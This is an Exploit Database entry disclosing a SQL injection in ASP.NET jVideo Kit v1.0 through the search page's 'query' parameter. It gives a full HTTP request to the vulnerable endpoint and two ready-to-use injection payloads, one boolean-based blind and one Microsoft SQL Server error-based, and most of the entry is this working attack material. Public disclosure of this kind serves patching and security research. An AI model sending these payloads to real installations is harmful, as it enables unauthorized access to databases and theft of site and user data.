

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

ASP.NET jVideo Kit - 'query' SQL Injection

EDB-ID:

44739

CVE:

N/A

EDB Verified: ✘

Author:

[AKKUS](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[ASP](#)

Date:

2018-05-24

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: ASP.NET jVideo Kit - 'query' SQL Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: MediaSoft Pro
# Vendor Homepage: https://www.mediasoftpro.com/video-sharing-script/mvc/
# Version: v1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'query' parameter. You can use the GET or POST
methods.
```

```
=====
```

```
# PoC : SQLi :
```

```
# GET : http://test.com/search?query=[SQL]
# POST : http://test.com/search
POST /search HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/login
Cookie: ASP.NET_SessionId=wxim4xkwgxvhtu5k3pvevc3o;
__RequestVerificationToken=iuu_Y6Xm3a0zaKj3EfCyE_-eT-
Ff_lRdBMBZzyFRszSTGdNcaY2w5pH7ck0WZ2egIX3R18UlpXkr8pe_kxw6Ic2g1M-
Cmz4woLsU6RRMV3M1
```

```
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Query=test
```

```
# Vulnerable Payload :
```

```
Parameter: query (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: query=test%' AND 3923=3923 AND '%='

  Type: error-based
  Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause (IN)
  Payload: query=test%' AND 1603 IN (SELECT
(CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN
(1603=1603) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113))) AND '%='
```

Tags:

Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.